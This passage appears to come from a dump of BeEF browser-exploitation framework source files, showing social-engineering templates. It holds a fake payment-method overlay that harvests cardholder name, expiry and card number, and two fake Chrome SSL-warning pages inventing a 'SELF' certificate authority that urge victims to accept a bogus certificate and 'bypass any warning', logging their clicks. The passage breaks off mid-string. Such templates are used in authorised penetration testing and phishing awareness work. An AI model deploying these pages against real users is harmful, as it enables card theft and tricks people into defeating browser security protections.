#DDDDCC; -webkit-border-radius: 10px;border-radius: 10px\"><table width=\"100%\" border=0 cellspacing=0 cellpadding=0 align=center><tbody><tr><td valign=middle width=\"20%\" nowrap=nowrap height=28><font color=\"#660000\"><b class=sans>&nbsp; Edit your payment method:</b></font></td><tr><td valign=middle width=\"100%\" nowrap=nowrap><table><tbody><tr><td align=right><b><font face=\"verdana,arial,helvetica\" size=-1>Cardholder Name:</font></b></td><td><input name=name onchange=\"collect();\" size=25 maxlength=60><br></td><tr><td align=right><b><font face=\"verdana,arial,helvetica\" size=-1>Exp. Date:</font></b></td><td><select onchange=\"collect();\" name=newCreditCardMonth title=Month id=newCreditCardMonth><option value=01>01<option value=02>02<option value=03>03<option value=04>04<option value=05>05<option value=06>06<option value=07>07<option value=08>08<option value=09>09<option value=10>10<option value=11 selected>11<option value=12>12</select>&nbsp;<select onchange=\"collect();\" name=newCreditCardYear title=Year id=newCreditCardYear><option value=2011 selected>2011<option value=2012>2012<option value=2013>2013<option value=2014>2014<option value=2015>2015<option value=2016>2016<option value=2017>2017<option value=2018>2018<option value=2019>2019<option value=2020>2020<option value=2021>2021<option value=2022>2022<option value=2023>2023<option value=2024>2024<option value=2025>2025<option value=2026>2026<option value=2027>2027<option value=2028>2028<option value=2029>2029<option value=2030>2030<option value=2031>2031<option value=2032>2032<option value=2033>2033<option value=2034>2034<option value=2035>2035<option value=2036>2036<option value=2037>2037</select></td><tr><td align=right><b><font face=\"verdana,arial,helvetica\" size=-1>Number:</font></b></td><td><input name=creditcard onchange=\"collect();\" size=16 maxlength=16><br></td><tr><td colspan=2><hr width=\"100%\" noshade=noshade size=1></td><tr><td align=right></td><td><div id=\"confirm\" style=\"cursor: hand; border: 2px solid #ffcc55; -webkit-border-radius: 10px;border-radius: 10px;font-family: verdana,arial;font-weight: bold\" align=center width=\"20%\"><font face=\"verdana,arial,helvetica\" size=-1>Confirm</font></div></td></table></td></table></div>';\n\t}\n\n\twritediv();\n\t\n\t$j(\"#confirm\").click(function () {\n      $j('#hax').remove();\n  });\n"
  },
  {
    "path": "modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\n  // floating div\n\tfunction writediv() {\n\t\tsneakydiv = document.createElement('div');\n\t\tsneakydiv.setAttribute('id', 'background');\n\t\tsneakydiv.setAttribute('oncontextmenu','return false;');\n\t\tsneakydiv.setAttribute('style', 'overflow:hidden;position:absolute;width:100%;height:100%;top:0px;left:0px;z-index:51;opacity:1;background-color:#500; font-family:Helvetica,Arial,sans-serif; margin:0px;');\n\t\tdocument.body.appendChild(sneakydiv);\n\t\tsneakydiv.innerHTML= '<div style=\"position:absolute;width:100%;height:100%;\"><img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAJFCAIAAACTIQqNAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQRJREFUSMe9lVtyxTAIQyUW0C10v9306Qd+NNNeYyfT+8EkEwRIBpz4+vgMSYU5nyYsB+R3u4orzArRnr0OComwHRKBFO7132IOmwCFpUDJY3AdGLVzoL1nnHDIBHLGN8w8L4f4kc8ORBgPHJdab7TRi86fa39IrnrKD1I3tNniZq7kOThylgcpfNGX83aaQ2p9X+mg9VV9hza50mps6KP3cKNHF+yOzlbbQ/OKb+5vpRHyTnnF84TjqLXQjVjPbZuFCjf1b/BaYKbv9eywUYeHPDK/F5i1H1HORaVjz/8bk/+HeV9xqH3GV7z+7lGVu9qZ+szOff8Vy8b+39H5JPZuzELHNyoGruezaO1kAAAAAElFTkSuQmCC\" width=\"100%\" height=\"100%\" alt=\"background\" onmousedown=\"return false;\"></div><table width=\"100%\" cellspacing=0 cellpadding=0><td style=padding:40px valign=middle align=center><div style=\"width:60%; background-color:white; color:black; font-size:10pt; line-height:16pt; text-align:left; padding:20px; position:relative; -webkit-box-shadow:3px 3px 8px #200; border-radius:5px\"><div style=position:absolute><img src=\"data:image/png;base64,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\" alt=\"SSL Error Icon\" onmousedown=\"return false\"></div><div style=\"margin: 0px 77px 0px; font-size:18pt; line-height: 140%; margin-bottom:6pt; font-weight:bold; color:#660000\">Please accept our new SELF&#174;-Signed Certificate to ensure maximum security protection.</div><div style=\"margin:0px 80px 0px\">'+domain+' chose SELF&#174; to protect your security. If your browser raise any warning after this one it means that it\\'s not up-to-date. Accept this certificate then please consider updating your browser as soon as possible.<br><br>SELF&#174; - to make the Internet a safer place.</div><div style=\"margin:0px 80px 0px\"></div><div style=\"margin:0px 80px 0px\"><form style=\"margin:15px 5px 15px 0px;padding:0px\"><input type=button value=continue name=back onclick=\"forward()\"></form></div><div style=\"margin:30px 80px 0px; border-top:1px solid #ccc; padding-top:6px\" id=more_info_short><a href=\"#\" onclick=\"toggleMoreInfo(false); return false\" onmousedown=\"return false\"><img id=twisty_closed src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAANklEQVR42q3QMQoAMAgEwfz/05dcoVcEYQuFwWYL8Uhqb+Q9+WLDcYFxwDhgHDjev3n/z96TCxE/Ie1QsznxAAAAAElFTkSuQmCC\" border=0 style=display:none><img id=twisty_closed_rtl src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAAMklEQVQY02P4jwcwMDCg8vEpJEoxTCFBxcgK8SpGV4hTMTaF1DGZZDeTHBokhzOuGAQAxQt2mANh8/IAAAAASUVORK5CYII=\" border=0 style=display:none><span i18n-content=moreInfoTitle style=\"margin-left:5px;margin-right:5px\">read more about the SELF&#174; certification authority</span></a></div><div style=\"margin:30px 80px 0px; border-top:1px solid #ccc; padding-top:6px\" id=more_info_long style=display:none><a href=\"#\" onclick=\"toggleMoreInfo(true); return false\" onmousedown=\"return false\"><img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAAMUlEQVQY02P4//8/A7GYgXaKgeA/0Riqg6BCFGcQUojhZnwKsXoQl0KcoYFNIW3DGQCkVyHtwOU6YQAAAABJRU5ErkJggg==\" border=0><span style=\"margin-left:5px;margin-right:5px\">read more about the SELF&#174; certification authority</span></a><p i18n-values=.innerHTML:moreInfo1>Security Enhanced Layer Factory&#174;: because nobody of us cannot realize the full potential of the Internet, unless it is a reliable place to interact and to deal. Our dependence on computers and the Internet increases every day, like our vulnerability. Daily news reports confirm a clear and present danger to all the Internet users (worms, viruses, trojans, malware, cybercrime, cyber-terrorism and related threats). These threats, mainly the very sophisticated group work of organized crime, directly harm millions of Internet users have real confidence in the Internet. Every individual or the company using the Internet has a role in the restoring of trust. SELF&#174; help people as customer or seller to feel safe by issuing SELF&#174;-signed certificate that are build to last. With SELF&#174; you will never be harmed again - Trust is our workship.</p><p i18n-values=.innerHTML:moreInfo2>Security Enhanced Layer Factory&#174;, SELF&#174; and SELF&#174; logo are registered trademarks.</p></div></div></td></table>';\n\t  toggleMoreInfo(true);\n\t\tsetDirectionSensitiveImages();\n\t}\n\n  forward = function(){\n    send(\"User continuing to \"+target);\n    timer=setTimeout(function(){window.location = target;},500);\n  }\n  \n  getDomain = function(url){\n    return url.match(/:\\/\\/(www\\.)?(.[^/:]+)/)[2];\n  }\n  \n  function $(o) {return document.getElementById(o);}\n\n  sendCommand = function(cmd) {\n    window.domAutomationController.setAutomationId(1);\n    window.domAutomationController.send(cmd);\n  }\n\n  toggleMoreInfo = function(collapse) {\n    if (collapse) {\n      $(\"more_info_long\").style.display = \"none\";\n      $(\"more_info_short\").style.display = \"block\";\n    } else {\n      $(\"more_info_long\").style.display = \"block\";\n      $(\"more_info_short\").style.display = \"none\";\n    }\n  }\n  setDirectionSensitiveImages = function () {\n    if (document.documentElement.dir == 'rtl') {\n      $(\"twisty_closed_rtl\").style.display = \"inline\";\n    } else {\n      $(\"twisty_closed\").style.display = \"inline\";\n    }\n  }\n  \n  target = $j(this).attr('href');\n\tdomain = getDomain(target);\n  $j(document).attr('title', domain+\" Security Enhanced Layer Factory&#174; certificate acceptance\");\n\twritediv();\n\t\n"
  },
  {
    "path": "modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\n  getDomain = function(url){\n    return url.match(/:\\/\\/(www\\.)?(.[^/:]+)/)[2];\n  }  \n  \n  toggleMoreInfo = function(collapse) {\n    if (collapse) {\n      $(\"more_info_long\").style.display = \"none\";\n      $(\"more_info_short\").style.display = \"block\";\n    } else {\n      $(\"more_info_long\").style.display = \"block\";\n      $(\"more_info_short\").style.display = \"none\";\n    }\n  }\n  setDirectionSensitiveImages = function () {\n    if (document.documentElement.dir == 'rtl') {\n      $(\"twisty_closed_rtl\").style.display = \"inline\";\n    } else {\n      $(\"twisty_closed\").style.display = \"inline\";\n    }\n  }\n\n  target = $j(this).attr('href');\n  domain = getDomain(target);\n\n//Assets\n\t\twarning = '<img src=\"data:image/png;base64,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\" onmousedown=\"return false\">';\n\t\tbackgreen = '<img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAJFCAIAAACTIQqNAAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wJGA4GE+nvoKcAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAA4UlEQVRIx71VWxLDIAhc1iP0AD1mTy/bD2Njph1j0OaDSUTeC4jH60kAQ0QYAdChwzlMNMJVvpXn2u9AAj7nI0BmiVImCMIrzyipkdnPVd4sUZZpSp+4jzqFLxNNVbbkLmvkdPR1H4lAW3cSyATSdp9LPSpuQT8y0LT3UZxKnJK+8AlTMK8z3zXnUflWDz6an1Hyrdf4+e/avppfMxO/bYpwDMV7htulHmn3RgfDXkwtRqvmT+JkP47OwQo7/TmD25/3T1o+l0WXk/ug3YcB7Bis/8yOnelfv39/hv368nfyDcZnjfUPcK3LAAAAAElFTkSuQmCC\" width=\"100%\" height=\"100%\" onmousedown=\"return false;\">';\n\t\tbackred = '<img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAJFCAIAAACTIQqNAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQRJREFUSMe9lVtyxTAIQyUW0C10v9306Qd+NNNeYyfT+8EkEwRIBpz4+vgMSYU5nyYsB+R3u4orzArRnr0OComwHRKBFO7132IOmwCFpUDJY3AdGLVzoL1nnHDIBHLGN8w8L4f4kc8ORBgPHJdab7TRi86fa39IrnrKD1I3tNniZq7kOThylgcpfNGX83aaQ2p9X+mg9VV9hza50mps6KP3cKNHF+yOzlbbQ/OKb+5vpRHyTnnF84TjqLXQjVjPbZuFCjf1b/BaYKbv9eywUYeHPDK/F5i1H1HORaVjz/8bk/+HeV9xqH3GV7z+7lGVu9qZ+szOff8Vy8b+39H5JPZuzELHNyoGruezaO1kAAAAAElFTkSuQmCC\" width=\"100%\" height=\"100%\" onmousedown=\"return false;\">';\n\t\tlocker = '<img style=\"margin:16px;\" src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAIAAAD9b0jDAAAESElEQVRIia1VTWhcVRg93533ZiaTZJyEJq1t0x+lpVXqRltEhSK2FikoVN24EAvitkhc14VUhCK4ciXSCi4U+kM3RjAoWhsRqQuFaLX+BEmq/UlsTCeTefccF/e+9yZd9y7uffPe3POde75zv88k4U6PJCxX5+fe/fjopZlvbravVBIAMEAAoLDkq+KjyheShpt379j88CuHjq1prQdgkv6c+/XI8adcutBsuUbD0tTgyu1AOIyEAkpS8VYAvEe3S6fW6y9NbFq3IwHw/tk3Xfrv6LpKa8j6GuYqZtZD0ExSoC6aJAbGggQBkkhk3paX5s+cf+PIcx8mAH747YvmsLWG7K4hV60aTAaDCTJAMBSyi5BA5TMjLgQS1dRmrn8eNe36xUZ/pd5naRVmQgRDoCjJZ8y6IAXBTFaBOYNCPEHxJJUUSpYiqKsgSVBJYEE6A0xmkESPbaOHto4c2Di8W9Lvc99Oz3wyPXu62sckBRwAMEohg5xTBDWTAQZZyLqFtIpeuzePP7rzNUmSSN2/5eDOzQcnpjZ9/dPbjSaqdYMTIAa6UlAqiT6RJCPkAIMAENo+8uwjO8bnb85OTp28cPEMgD27nt6758X9e8avXL38y7VTA84lNZhWGyIeQMiFESymlJm2rHlS0uTUiVMTb11f/Pm/7NLkxeNffnfSU9vHDizeYGeJzJSzFCFKEVQ9HozBDD7T+uHdpKYunq32oTXiRsbcyJi79Pc5kls3PNRe4nJb9EQOKgZmSFAYLiopwAR5L3qRElRv2OCQDQ4bhCQzT5Fa6ShbofdWyfVj9HCuqSjKQgZlAJVlpOhJ7+WpbpfLbZNQp0h6sttRtyPfhaqIekaiBVMpXkTBKHo98+DJ/vooqWOvnqdERgOE58H+0ZefP/HR5OGVFVRqMBeIRVBXZp8qNO92ec/afeGYYSblSU8yn3dt33/rJjtt+awQFD2aKvATKXOAkGUlqfD/XqbKf7aX1GmznplVEK2Kwqelc02UGYKOt6FQ0mrQbgdZV/TBieXxkwKSAgkzyaBMJAuU2/nmtiQlmnzIc+nIpJAUAgWDIHiuZrqaIEtfIlApEEumkCCLF8Ji7ellGvkGiViCBhWpWMBWgUqgRMATgMxA3Z6oHqzcKaH05YlG/im/pqWXJEag6ZlPWY4YgMxPIH3/42dpXc717M2rec6Uysu4RMDh9IXDN+a4eEPLt+Kn6JOQBEO1rv4hS+swF1NS3PUEQF9tEFwMNzdGM9X60Bq1+gB8BgoW21EMbIBLkNZRa8gqKIpfmgxE0Ae27b187VyWWUaElueckioaTdQaYMhhtLMFLU2CmVXkHJyLFEntHNsXW/Qfs9NH33uiNrgw0ESaxkZSSJ935bInF0tZ1wBSNTc8fuirjWvuC+0X1xZmP5gY/2vhwrL/p+K0Ciff2qNbbxQAajbW3bv2sRcef2docENkijs9/ge36MK8f8CaUgAAAABJRU5ErkJggg==\" alt=\"SSL SELF Icon\" onmousedown=\"return false\">';\n\t\ttextGreen = '<b>'+domain+'</b> chose SELF&#174; to protect your security. If your browser raises any warning when continuing it means that it\\'s not up-to-date. <b>Accept</b> this certificate then please consider updating your browser as soon as possible.<br><br>SELF&#174; - to make the Internet a safer place.';\n\t\ttextRed =  'Your browser raised a warning because it is not up to date. As <b>'+domain+'</b> chose SELF&#174; to protect your security you need to <b>ACCEPT</b> this certificate to view its content then please consider update your browser as soon as possible. When your browser will be up to date, it will <b>accept</b> SELF&#174;-signed certificates. Please <b>bypass any warning</b> until then.<br><br>SELF&#174; - to make the Internet a safer place.';\n\t  arrows = '<div style=\"margin:0px 80px 0px\"></div><div style=\"margin:0px 80px 0px\"><form style=\"margin:15px 5px 15px 0px;padding:0px\"><input type=button value=continue name=back onclick=\"forward()\"></form></div><div style=\"margin:30px 80px 0px; border-top:1px solid #ccc; padding-top:6px\" id=more_info_short><a href=\"#\" onclick=\"toggleMoreInfo(false); return false\" onmousedown=\"return false\"><img id=twisty_closed 